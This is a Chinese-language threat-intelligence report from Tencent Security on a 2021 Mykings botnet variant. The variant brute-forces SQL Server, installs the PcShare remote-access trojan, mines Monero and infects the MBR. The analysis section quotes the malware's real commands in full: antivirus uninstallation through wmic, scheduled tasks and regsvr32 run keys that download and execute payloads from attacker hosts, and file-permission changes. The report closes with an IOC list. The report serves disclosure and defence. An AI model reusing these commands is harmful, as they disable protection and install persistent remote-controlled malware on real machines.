Mykings殭屍網絡新變種通過PcShare遠程控制,已感染超5萬臺電腦挖礦

2021-02-13 騰訊安全威脅情報中心


長按二維碼關注

騰訊安全威脅情報中心

騰訊安全威脅情報中心檢測到Mykings挖礦殭屍網絡變種木馬，更新後的Mykings會在被感染系統安裝開源遠程控制木馬PcShare，對受害電腦進行遠程控制：可進行操作文件、服務、註冊表、進程、窗口等多種資源，並且可以下載和執行指定的程序。

Mykings殭屍網絡木馬還會關閉Windows Defender、檢測卸載常見殺毒軟體；卸載競品挖礦木馬和舊版挖礦木馬；下載「暗雲」木馬感染硬碟主引導記錄（MBR)實現長期駐留；通過計劃任務、添加啟動項等實現開機自動運行等行為。

MyKings殭屍網絡最早於2017年2月左右開始出現，該殭屍網絡通過掃描網際網路上 1433 及其他多個埠滲透進入受害者主機，然後傳播包括DDoS、Proxy（代理服務）、RAT（遠程控制木馬）、Miner（挖礦木馬）、暗雲III在內的多種不同用途的惡意代碼。由於MyKings殭屍網絡主動擴散的能力較強，影響範圍較廣，對企業用戶危害嚴重。根據門羅幣錢包算力1000KH/s進行推測，Mykings殭屍網絡目前已控制超過5萬臺電腦進行挖礦作業。

騰訊安全系列產品已支持檢測、清除Mykings殭屍網絡的最新變種，具體響應清單如下：

應用

場景

安全產品

解決方案

威

脅

情

報

騰訊T-Sec

威脅情報雲查服務

（SaaS）

1）Mykings殭屍網絡相關IOCs已入庫。

各類安全產品可通過「威脅情報雲查服務」提供的接口提升威脅識別能力。可參考:https://cloud.tencent.com/product/tics

騰訊T-Sec

高級威脅追溯系統

Mykings殭屍網絡相關信息和情報已支持檢索。

網管可通過威脅追溯系統，分析日誌，進行線索研判、追溯網絡入侵源頭。T-Sec高級威脅追溯系統的更多信息，可參考：https://cloud.tencent.com/product/atts

雲原生安全

防護

雲防火牆

（Cloud Firewall，CFW）

基於網絡流量進行威脅檢測與主動攔截，已支持：

1）Mykings殭屍網絡關聯的IOCs已支持識別檢測；

2）通過協議特徵檢測主機挖礦行為；

3）SQL Server弱口令爆破登陸行為檢測；

 

有關雲防火牆的更多信息，可參考：
 https://cloud.tencent.com/product/cfw

騰訊T-Sec  主機安全

（Cloud Workload Protection，CWP）

1）已支持查殺Mykings殭屍網絡相關木馬程序；

2）雲主機SQL Server弱口令風險項檢測；

 

騰訊主機安全（雲鏡）提供雲上終端的防毒殺毒、防入侵、漏洞管理、基線管理等。關於T-Sec主機安全的更多信息，可參考：https://cloud.tencent.com/product/cwp

騰訊T-Sec 安全運營中心

基於客戶雲端安全數據和騰訊安全大數據的雲安全運營平臺。已接入騰訊主機安全（雲鏡）、騰訊御知等產品數據導入，為客戶提供漏洞情報、威脅發現、事件處置、基線合規、及洩漏監測、風險可視等能力。

關於騰訊T-Sec安全運營中心的更多信息，可參考：https://s.tencent.com/product/soc/index.html

非雲企業安全防護

騰訊T-Sec

高級威脅檢測系統

（騰訊御界）

1）已支持通過協議檢測Mykings殭屍網絡與伺服器的網絡通信；

2）通過協議特徵檢測主機挖礦行為；

 

關於T-Sec高級威脅檢測系統的更多信息，可參考：

https://cloud.tencent.com/product/nta

騰訊T-Sec終端安全管理系統（御點）

1）可查殺Mykings殭屍網絡入侵釋放的木馬程序；

 

騰訊御點提供企業終端的防毒殺毒、防入侵、漏洞管理、基線管理等能力，關於T-Sec終端安全管理系統的更多資料，可參考：https://s.tencent.com/product/yd/index.html

mykings通過mssql爆破（1433埠）攻擊windows伺服器，爆破登陸成功後執行Powershell腳本power.txt。Power.txt首先關閉Windows Defender相關功能，然後下載kill.txt清除舊版挖礦程序。

Kill.txt根據進程名匹配舊版挖礦程序，其中標記為「1」代表清除對應的WMI啟動項，列表中Mykings常用進程名包括：
uihost64.exe、dhelper.exe、msinfo.exe、u.exe、lsmose.exe、lsmos.exe、lsmo.exe、csrw.exe、csrw.exe、lsmosee.exe、lsmma.exe、lsmm.exe、lsmmaa.exe、lsmma.exe、new.exe、upsupx.exe、lsma.exe、lsmab.exe、lsmaaa.exe、lsma30.exe、lsma31.exe

刪除舊版WMI事件過濾器「fuckyoumm2_filter」、消費者「fuckyoumm2_consumer」，從而刪除WMI啟動項。

Power.txt接著下載uninstall.txt執行，完成卸載殺軟、刪除舊版挖礦木馬、以及通過安裝Windows計劃任務、RUN啟動項、WMI啟動項進行本地持久化操作。

wmic.exe product where "name like '%Eset%'" call uninstall /nointeractivewmic.exe product where "name like '%%Kaspersky%%'" call uninstall /nointeractivewmic.exe product where "name like '%avast%'" call uninstall /nointeractivewmic.exe product where "name like '%avp%'" call uninstall /nointeractivewmic.exe product where "name like '%Security%'" call uninstall /nointeractivewmic.exe product where "name like '%AntiVirus%'" call uninstall /nointeractivewmic.exe product where "name like '%Norton Security%'" call uninstall /nointeractivecmd /c "C:\Progra1\Malwarebytes\Anti-Malware\unins000.exe" /verysilent /suppressmsgboxes /norestart
安裝計劃任務「oka」啟動新版挖礦木馬lsma12.exe，殺死進程java.exe；
schtasks /create /tn "oka" /tr "cmd /c start c:\windows\inf\aspnet\lsma12.exe -p" /ru "system" /sc onstart /Fwmic.exe process where ExecutablePath='c:\\windows\\java\\java.exe' call Terminate
安裝計劃任務"Mysa"、"Mysa2"，在每次系統啟動時執行命令，使用帳號test密碼1433登陸FTP伺服器ftp[.]ftp0930[.]host下載木馬a1.exe和s1.rar並執行；
schtasks /create /tn "Mysa" /tr "cmd /c echo open ftp.ftp0930.host >secho test>>secho 1433>>secho binary>>secho get a1.exe c:\windows\update.exe>>secho bye>>sftp -s:sc:\windows\update.exe" /ru "system" /sc onstart /Fschtasks /create /tn "Mysa2" /tr "cmd /c echo open ftp.ftp0930.host>psecho test>>psecho 1433>>psecho get s1.rar c:\windows\help\lsmosee.exe>>psecho bye>>psftp -s:psc:\windows\help\lsmosee.exe" /ru "system" /sc onstart /F
設置拒絕「system」用戶訪問指定文件和路徑；
cacls c:\windows\java\java.exe /e /d systemcacls c:\windows\temp\servtestdos.dll /e /d systemcacls C:\WINDOWS\Fonts\cd /e /d system
安裝RUN啟動項「start」負責下載執行腳本v1.sct，同時刪除舊啟動項「start1」，刪除舊計劃任務「Mysa3」、「ok」、「Mysa1」、「my1」。
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "start" /d "regsvr32 /u /s /i:http[:]//js.down0116.info:280/v1.sct scrobj.dll" /freg add "HKLM\Software\wow6432node\Microsoft\Windows\CurrentVersion\Run" /v "start" /d "regsvr32 /u /s /i:http[:]//js.down0116.info:280/v1.sct scrobj.dll" /freg delete HKlm\Software\Microsoft\Windows\CurrentVersion\Run /v "start1" /fSCHTASKS /Delete /TN "Mysa3" /FSCHTASKS /Delete /TN "ok" /FSCHTASKS /Delete /TN "Mysa1" /FSCHTASKS /Delete /TN "my1" /F
繼續刪除舊版的名稱為「coronav」（新冠）的WMI啟動項，同時安裝新版的「coronav」WMI啟動項，在其中通過Powershell下載和執行以下腳本：
http[:]//ruisgood.ru/power.txt
http[:]//gamesoxalic.com/power.txt

或者通過regsvr32下載和執行腳本：
http[:]//ruisgood.ru/s.txt
http[:]//gamesoxalic.com/s.txt
安裝WMI啟動項「fuckamm3」、「fuckamm4」啟動新版挖礦木馬程序：
下載門羅幣挖礦程序、Mykings更新程序及暗雲木馬
Download.txt負責下載門羅幣挖礦程序、Mykings更新程序和安裝「暗雲」木馬感染程序：
Download.txt下載的ups.dat為自解壓程序，解壓後釋放多個文件到temp目錄下，執行競品挖礦木馬清除、挖礦木馬下載和啟動，以及安裝啟動項等更新操作。釋放的文件包括：
c:\windows\temp\ntuser.dat
c:\windows\temp\upx.exe
%temp%\c3.bat
%temp%\excludes
%temp%\n.vbs
 
Download.txt 下載的「暗雲」木馬max.rar會感染MBR執行shellcode，從雲端獲取Payload並最終獲取Mykings相關木馬文件。下載Payload網絡流量如下：
首先從C2伺服器http[:]//95.214.9.95/pld/cmd.txt下載cmd.txt。
然後向伺服器（http[:]//95.214.9.95/pld/login.aspx?uid=***&info=***）發送上線信息，參數包括設備標識號uid和info，其中info包括計算機名、出口IP、CPU型號、CPU數量、內存大小信息，info數據經過base64編碼，伺服器接收數據後返回「AcceptOK」。
返回數據cmd.txt中指定下載的20200809.rar為PcShare開源遠控木馬，該木馬在github上有多個版本https[:]//github.com/LiveMirror/pcshare。木馬下載後被拷貝至：
c:\windows\debug\item.dat，啟動命令為：
rundll32.exe c:\windows\debug\item.dat,ServiceMain aaaa
 
PcShare可根據服務端指令執行以下多種遠控功能，該木馬原始碼在多個共享平臺可供下載，黑客可以隨意下載和重新修改編譯。
枚舉、創建、重命名、刪除文件和目錄
枚舉和終止進程
編輯註冊表項和值
枚舉和修改服務
枚舉和控制窗口
執行二進位文件
從C＆C或提供的URL下載其他文件
將文件上傳到C＆C
執行shell命令
顯示消息框
重新啟動或關閉系統
 
PcShare連接C2伺服器：192.187.111.66:5566。
Download.txt從地址http[:]//ruisgood.ru/1201.rar下載得到XMRig挖礦程序，從地址http[:]//ruisgood.ru/config2.json下載得到挖礦配置文件，然後啟動挖礦進程：
c:\windows\inf\aspnet\lsma12.exe

挖礦時使用礦池：xmr-eu1.nanopool.org:14444
門羅幣錢包：
4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQo6GYsXhWxuSrS7Uka
查詢該錢包，已挖礦獲得143個XMR，折合人民幣8萬餘元。而其礦池算力平均為1000Kh/s（盈利100美元/天），可推算約5萬臺電腦被控制挖礦。

IOCs
C&C
192.187.111.66:5566
95.214.9.95

Domain
ruisgood.ru
ftp.ftp0801.ru
gamesoxalic.com
ftp.ftp0930.host
js.down0116.info
js.mys2016.info
wmi.1217bye.host
js.5b6b7b.ru
up.mykings.pw
kriso.ru
f321y.com
down.f4321y.com

IP
199.168.100.74
173.247.239.186
174.128.235.243
223.25.247.152
167.88.180.175
139.5.177.10
173.247.239.186
185.239.227.82

URL
http[:]//ruisgood.ru/ups.dat
http[:]//ruisgood.ru/power.txt
http[:]//ruisgood.ru/1201.rar
http[:]//ruisgood.ru/uninstall.txt
http[:]//ruisgood.ru/max.rar
http[:]//ruisgood.ru/config2.json
http[:]//ruisgood.ru/s.txt
http[:]//ruisgood.ru/upx.exe
http[:]//ruisgood.ru/s.xsl
http[:]//ruisgood.ru/download2.txt
http[:]//ruisgood.ru/batpower.txt
http[:]//ruisgood.ru/ups.dat
http[:]//ruisgood.ru/download.txt
http[:]//ruisgood.ru/kill.txt
http[:]//ruisgood.ru/up.txt
http[:]//ruisgood.ru/wmi.txt
http[:]//ruisgood.ru/batpower.tx
http[:]//ruisgood.ru/up2.txt
http[:]//gamesoxalic.com/power.txt
http[:]//gamesoxalic.com/s.txt
ftp[:]//199.168.100.74/aa.exe
ftp[:]//199.168.100.74/1.dat
ftp[:]//ftp.ftp0801.ru/1.dat
ftp[:]//ftp.ftp0801.ru/aa.exe
ftp[:]//ftp.ftp0930.host/a1.exe
ftp[:]//ftp.ftp0930.host/s1.rar
http[:]//js.down0116.info:280/v1.sct
http[:]//174.128.235.243/wmi.txt
http[:]//174.128.235.243/upsupx2.exe
http[:]//174.128.235.243/u.exe
http[:]//199.168.100.74/20200809.rar
http[:]//199.168.100.74:8074/1201.rar
http[:]//173.247.239.186:9999/max.exe
http[:]//173.247.239.186:9999/u.exe
http[:]//185.239.227.82:8082/2.exe
http[:]//wmi.1217bye.host/S.ps1
http[:]//95.214.9.95/pld/cmd.txt
http[:]//223.25.247.152:8152/batpower.txt
http[:]//167.88.180.175:8175/kill.txt
http[:]//167.88.180.175:8175/uninstall.txt
http[:]//139.5.177.10:280/psa.jpg
http[:]//199.168.100.74/2.exe
http[:]//199.168.100.74:8074/2.exe
http[:]//173.247.239.186/2.exe
http[:]//185.239.227.82:8082/2.exe
http[:]//173.247.239.186:9999/2.exe
http[:]//js.5b6b7b.ru/v.sct
http[:]//js.5b6b7b.ru:280/v.sct
http[:]//up.mykings.pw/update.txt
http[:]//kriso.ru/java12.dat
http[:]//js.ftp0930.host/helloworld.msi
http[:]//f321y.com:8888/dhelper.dat
http[:]//down.f4321y.com:8888/kill.html
MD5
20200809.rar
dce4ac18798ea897cdc9e09e06b178be
max.rar
bc7fc83ce9762eb97dc28ed1b79a0a10
u.exe
d9c32681d65c18d9955f5db42154a0f3
ups.dat
d1f978c88023639d6325805eb562de8c
upsupx2.exe
b5cd8af63e35db23eb1c6a4eb8244c45
address.txt
83bdb3a6fb995788de262b22919524f1
cloud.txt
6b9b70f4e0c8885d12169045e906d698
cmd.txt
6def7a0c5707f24a912c79f6520ca86f
kill.txt
1573ab993edc98decc09423fd82ec5ed
micro
f0129d85b17ee4d29ef52c63e0e548a4
power.txt
5670f0839333e4b160be05177601b40c
uninstall.txt
6092899216610fea5c65e416b34c1777
update.txt
581a86fea2afeb9b9d6d04c9a8f0a5c1
wmi.txt
6afc95f60630a588a7826608c70a60c8
wpd.jpg
bbae338b0cac5a2d169b8c535f33bfa0
batpower.txt
40160c782c2a41eed8d8eaf0c706050a
up.txt
6c190a44db2118d9c07037d769e0a62d
ups.txt
f41a8a69361fccc13344493c04a4f0d8
s.ps1
966abd05b7ad1b0b89d2a846f8a5a8f2
testav.dat
d4f7a3f44ae3f21863b1440219388a5b
psa.jpg
9cb1c1a78ce3efe57eef5f128b43710a

門羅幣錢包：
4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQo6GYsXhWxuSrS7Uka
參考連結：
https://www.freebuf.com/articles/193260.html
https://www.freebuf.com/articles/network/161286.html
https://blogs.blackberry.com/en/2019/09/pcshare-backdoor-attacks-targeting-windows-users-with-fakenarrator-malware

相關焦點

  • MyKings殭屍網絡最新變種突襲,攻擊代碼多次加密混淆,難以檢測
    MyKings殭屍網絡2017 年 2月左右開始出現，該殭屍網絡通過掃描網際網路上 1433 及其他多個埠滲透進入受害者主機，然後傳播包括 DDoS、Proxy（代理服務）、RAT（遠程控制木馬）、Miner（挖礦木馬）在內的多種不同用途的惡意代碼。騰訊御見威脅情報中心曾在今年五月發現Mykings利用Nsis腳本進行SMB爆破傳播挖礦。
  • MyKings殭屍網絡的新動向:利用NSIS腳本挖門羅幣
    Mykings殭屍網絡2017 年 2月左右開始出現，該殭屍網絡通過掃描網際網路上 1433 及其他多個埠滲透進入受害者主機，然後傳播包括 DDoS、Proxy、RAT、Miner 在內的多種不同用途的惡意代碼。MyKings殭屍網絡此次傳播的惡意代碼在挖礦的同時進行SMB爆破，使得其內網擴散威力進一步增強。
  • WannaMiner挖礦木馬不光擅長黑吃黑,最新變種還會過河拆橋
    XMR（門羅幣）同時還會下載遠程控制木馬，為了獨佔系統資源，這個WannaMiner挖礦木馬的最新變種會查殺其他挖礦木馬。WannaMiner新變種具有如下特點：冒充微軟系統文件，關閉Windows防火牆，添加任務自啟動；釋放NSA攻擊工具套件（永恆之藍），掃描內網445埠橫向擴散；釋放遠程控制木馬java.exe(文件名偽裝)，該遠控木馬具有系統最高權限，可實現竊取隱私及一切遠程管理任務；
  • 永恆之藍捲土重來,新變種已感染1.5萬臺伺服器
    騰訊安全威脅情報中心檢測到永恆之藍下載器木馬再次出現新變種，此次變種利用Python打包EXE可執行文件進行攻擊，該組織曾在2018年底使用過類似手法
  • 【每日安全資訊】2018網絡安全大事件盤點 | 數據洩露史無前例,勒索軟體改行挖礦
    6. 2018年12月，一個以微信為支付手段的勒索病毒在國內爆發幾日內，該勒索病毒至少感染了10萬臺電腦，通過加密受害者文件的手段，已達到勒索贖金的目的，而受害者必需通過微信掃一掃支付110元贖金才能解密。2018年6月，羅某某自主研發出病毒「cheat」，用於盜取他人支付寶的帳號密碼，進而以轉帳方式盜取資金。
  • 永恆之藍下載器最新變種重啟EXE文件攻擊,新變種已感染1.5萬臺伺服器
    騰訊安全大數據監測數據顯示，永恆之藍下載器最新變種出現之後便迅速傳播，目前已感染約1.5萬臺伺服器，中毒系統最終用於下載運行門羅幣挖礦木馬。永恆之藍下載器木馬在不斷演進更新過程中，曾將EXE攻擊方式逐步切換到利用Powershell腳本實現無文件攻擊。
  • WatchBogMiner木馬利用漏洞攻擊傳播,已控制上萬臺Linux伺服器挖礦
    該木馬利用Nexus Repository Manager、Supervisord、ThinkPHP等伺服器組件的遠程代碼執行漏洞進行攻擊，在失陷機器安裝多種類型的持久化攻擊代碼，然後植入門羅幣挖礦木馬進行挖礦。騰訊安全專家根據木馬使用的算力資源推測已有上萬臺Linux伺服器被黑客控制，已挖到28個門羅幣，收益約1.3萬元。
  • 2018網絡安全大事件盤點
    6. 2018年12月，一個以微信為支付手段的勒索病毒在國內爆發幾日內，該勒索病毒至少感染了10萬臺電腦，通過加密受害者文件的手段，已達到勒索贖金的目的，而受害者必需通過微信掃一掃支付110元贖金才能解密。2018年6月，羅某某自主研發出病毒「cheat」，用於盜取他人支付寶的帳號密碼，進而以轉帳方式盜取資金。
  • 「匿影」挖礦木馬持續活躍,入侵某旅遊網站做病毒下載伺服器
    該變種木馬依然利用永恆之藍漏洞進行攻擊傳播，通過計劃任務、WMI後門進行本地持久化，然後在攻陷機器下載XMRig礦機挖礦門羅幣、下載nbminer礦機挖礦HNS（Handshake），還會利用regsvr32.exe加載執行DLL形式的木馬程序，匿影木馬新變種在已安裝騰訊電腦管家等數款安全軟體的電腦上不運行，試圖避免被安全廠商檢測到。
  • LCOUNCIL | 2018網絡安全大事件盤點
    木馬作者通過以上渠道植入木馬，非法控制網吧和個人計算機終端為其個人挖礦。2018年4月11日，在騰訊電腦管家的協助下，山東警方在遼寧大連一舉破獲了「tlMiner」挖礦木馬黑產公司。該公司為大連當地高新技術企業，為非法牟利搭建木馬平臺，招募發展下級代理商近3500個，通過網吧渠道、吃雞外掛、盜版視頻軟體傳播投放木馬，非法控制用戶電腦終端389萬臺，進行數字加密貨幣挖礦、強制廣告等非法業務，合計挖掘DGB(極特幣)、HSR(紅燒肉幣)、XMR(門羅幣)、SHR(超級現金幣)、BCD(比特幣鑽石)、SIA(雲儲幣)等各類數字貨幣超過2000萬枚，非法獲利1500餘萬元。
  • 一周情報概覽(2020.5.9-5.15)
    PoulightStealer，疑似來自俄羅斯的新型綜合偷竊者分析3.「8220」挖礦木馬入侵伺服器挖礦，組建「海嘯」殭屍網絡，可發起DDoS攻擊4.黑客聲稱侵入 GitHub 竊取 500GB 數據5.Mykings殭屍網絡更新基礎設施，大量使用PowerShell腳本進行「無文件」攻擊挖礦6.Ako勒索病毒需要額外
  • 2018網絡安全大事件,啟東人也要關心關心!!!
    該公司為大連當地高新技術企業，為非法牟利搭建木馬平臺，招募發展下級代理商近3500個，通過網吧渠道、吃雞外掛、盜版視頻軟體傳播投放木馬，非法控制用戶電腦終端389萬臺，進行數字加密貨幣挖礦、強制廣告等非法業務，合計挖掘DGB(極特幣)、HSR(紅燒肉幣)、XMR(門羅幣)、SHR(超級現金幣)、BCD(比特幣鑽石)、SIA(雲儲幣)等各類數字貨幣超過2000萬枚，非法獲利1500餘萬元。
  • 挖礦殭屍網絡NSAGluptebaMiner利用永恆之藍漏洞傳播
    長按二維碼關注御見威脅情報中心騰訊安全威脅情報中心檢測到挖礦殭屍網絡NSAGluptebaMiner變種正在利用永恆之藍漏洞攻擊傳播。目前該殭屍網絡會控制機器進行門羅幣挖礦和搜集用戶隱私數據，並具有遠程執行命令的功能，同時還會利用比特幣交易數據更新C2。
  • 騰訊安全截獲TeamTNT挖礦木馬最新變種,失陷主機被安裝IRC後門,攻擊者可實現任意目的
    IRC進行通信控制肉雞伺服器組建殭屍網絡，此次使用的IRC採用的是github開源的oragono，暫未檢測到後門有執行拒絕服務（DoS）功能。騰訊安全2020年11月25日曾發布文章介紹TeamTNT挖礦家族利用Docker remote api未授權訪問漏洞（https://mp.weixin.qq.com/s/Bw8_zNBwpL1eTZZ0dxXQQw）。顯然，本次騰訊安全捕獲的TeamTNT最新變種表明，該團夥控制殭屍網絡的能力已得到提升，失陷伺服器的風險或損失更大了。
  • Mirai殭屍網絡騰訊雲防火牆攔截量暴漲,請雲租戶加強防範
    Mirai殭屍網絡的本次攻擊具備以下特點：攻擊存在Jenkins遠程命令執行漏洞（CVE-2018-1000861）的雲主機，已影響數千臺雲主機；攻擊存在未授權遠程命令執行漏洞（CVE-2020-9054）的ZyXEL NAS設備；攻擊存在命令注入漏洞（CVE-2018-10562）的GPON家用光纖路由器設備；
  • WannaMiner挖礦木馬更新基礎設施 新手法已大賺17萬
    長按二維碼關注御見威脅情報中心一、概述WannaMine採用「無文件」攻擊組成挖礦殭屍網絡
  • 顫抖吧,精通NSA十八般兵器的NSAFtpMiner礦工來了,已有3萬臺電腦中招
    伺服器，再並植入遠程控制木馬並安裝為系統服務，然後利用遠程控制木馬進一步加載挖礦木馬進行挖礦。其攻擊內網機器後，植入遠程控制木馬繼續從C2地址下載挖礦和攻擊模塊，然後進行內網擴散感染」。根據以上攻擊特點，騰訊御見威脅情報中心將其命名為1433爆破手礦工（NSAFtpMiner）。最新監測數據統計表明，1433爆破手礦工（NSAFtpMiner）已累計感染約3萬臺電腦。
  • 【安全通告】雙平臺被感染!WMI無文件挖礦變種病毒新增SSH爆破
    近日，亞信安全監測到WMI無文件挖礦病毒變種文件，此次變種的無文件攻擊模塊新增SSH爆破功能，攻擊Linux系統，實現雙平臺挖礦，本文對此病毒進行詳細分析並給出防禦建議
  • Linux伺服器遭遇挖礦蠕蟲攻擊,已有數千臺伺服器中招
    長按二維碼關注騰訊安全威脅情報中心騰訊安全威脅情報中心捕獲H2Miner挖礦蠕蟲新變種近期活躍H2Miner是一個linux下的大型挖礦殭屍網絡，已被發現通過多個高危漏洞入侵Linux系統，並利用漏洞在企業內網或雲伺服器中橫向擴散。騰訊安全威脅情報中心預估已有數千臺伺服器中招，騰訊安全專家建議相關企業儘快排查伺服器被入侵的情況，及時清除H2Miner挖礦蠕蟲病毒。
  • 騰訊御見:WannaMiner挖礦木馬攻擊事件通報
    值得關注的是，WannaMiner木馬將染毒機器構建成一個健壯的殭屍網絡，其支持內網自更新，並且以一種相對低調的獲利方式「挖礦」來長期潛伏。  儘管早在2017.5月WannaCry事件爆發時，很多機器已經在安全軟體幫助下安裝了相應補丁。但本次WannaMiner攻擊事件揭示，仍有部分企事業單位未安裝補丁或者部署防護類措施。